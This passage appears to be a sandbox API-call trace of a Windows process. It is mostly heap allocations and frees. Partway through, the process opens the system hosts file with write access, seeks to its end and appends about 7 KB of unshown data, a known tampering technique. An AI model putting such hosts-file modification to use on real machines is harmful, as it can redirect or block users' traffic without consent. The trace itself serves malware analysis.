returned 0x551938 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d0) returned 0x5523f0 [0053.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551e00 | out: hHeap=0x520000) returned 1 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551960 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551988 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5519b0 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5519d8 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551a00 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551a28 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551a50 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551a78 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551aa0 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551ac8 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551af0 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551b18 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551b40 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551b68 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551b90 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551bb8 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd38) returned 0x552cc8 [0053.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5523f0 | out: hHeap=0x520000) returned 1 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551be0 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551c08 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551c30 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551c58 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551c80 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551ca8 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551cd0 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551cf8 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551d20 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551d48 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551d70 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551d98 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551dc0 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551e18 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551e40 [0053.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551e68 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551e90 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551eb8 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551ee0 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551f08 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551f30 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551f58 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551f80 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551fa8 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551fd0 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x551ff8 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552020 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552048 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13eb) returned 0x553a08 [0053.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552cc8 | out: hHeap=0x520000) returned 1 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552070 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552098 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5520c0 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5520e8 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x535490 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552110 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552138 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552160 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552188 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5521b0 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5521d8 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552200 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552228 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552250 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552278 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5522a0 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5522c8 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5522f0 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552318 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552340 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552368 [0053.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552390 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5523b8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5523e0 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552408 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552430 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552458 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552480 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5524a8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5524d0 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5524f8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552520 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552548 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552570 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552598 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5525c0 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552618 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1dc3) returned 0x554e00 [0053.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553a08 | out: hHeap=0x520000) returned 1 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552640 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552668 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552690 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5526b8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5526e0 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552708 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552730 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552758 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552780 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5527a8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5527d0 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5527f8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552820 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552848 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552870 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552898 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5528c0 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5528e8 [0053.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552910 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552938 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552960 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552988 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5529b0 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5529d8 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552a00 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552a28 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552a50 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552a78 [0053.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x552aa0 [0053.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54ff28 | out: hHeap=0x520000) returned 1 [0053.914] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x18edb0 | out: pszPath="C:\\Windows") returned 0x0 [0054.258] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0054.258] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0054.258] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0054.258] SetFilePointer (in: hFile=0xa0, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0054.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x535500 [0054.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47) returned 0x550110 [0054.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535500 | out: hHeap=0x520000) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6a) returned 0x550160 [0054.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550110 | out: hHeap=0x520000) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9e) returned 0x5501d8 [0054.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550160 | out: hHeap=0x520000) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xec) returned 0x550280 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5501d8 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x161) returned 0x550110 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550280 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x211) returned 0x550280 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550110 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x319) returned 0x5504a0 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550280 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4a5) returned 0x5507c8 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5504a0 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f7) returned 0x550c78 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5507c8 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa72) returned 0x550110 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550c78 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfaa) returned 0x552e00 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550110 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17a1) returned 0x556bd0 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552e00 | out: hHeap=0x520000) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x235f) returned 0x558380 [0054.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bd0 | out: hHeap=0x520000) returned 1 [0054.260] WriteFile (in: hFile=0xa0, lpBuffer=0x5583a0*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x5583a0*, lpNumberOfBytesWritten=0x18ed70*=0x1c76, lpOverlapped=0x0) returned 1 [0054.261] CloseHandle (hObject=0xa0) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x558380 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c118 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c140 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c168 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c190 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c1b8 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c1e0 | out: hHeap=0x520000) returned 1 [0054.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c208 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c230 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c258 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c280 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c2a8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c2d0 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c2f8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c320 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c348 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c370 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c398 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c3c0 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c3e8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c410 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54c438 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551618 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551640 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551668 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551690 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5516b8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5516e0 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551708 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551730 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551758 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551780 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5517a8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5517d0 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5517f8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551820 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551848 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551870 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551898 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5518c0 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5518e8 | out: hHeap=0x520000) returned 1 [0054.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551910 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551938 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551960 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551988 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519b0 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519d8 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551a00 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551a28 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551a50 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551a78 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551aa0 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551ac8 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551af0 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551b18 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551b40 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551b68 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551b90 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551bb8 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551be0 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551c08 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551c30 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551c58 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551c80 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551ca8 | out: hHeap=0x520000) returned 1 [0054.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551cd0 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551cf8 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551d20 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551d48 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551d70 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551d98 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551dc0 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551e18 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551e40 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551e68 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551e90 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551eb8 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551ee0 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551f08 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551f30 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551f58 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551f80 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551fa8 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551fd0 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x551ff8 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552020 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552048 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552070 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552098 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5520c0 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5520e8 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535490 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552110 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552138 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552160 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552188 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5521b0 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5521d8 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552200 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552228 | out: hHeap=0x520000) returned 1 [0054.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552250 | out: hHeap=0x520000) returned 1 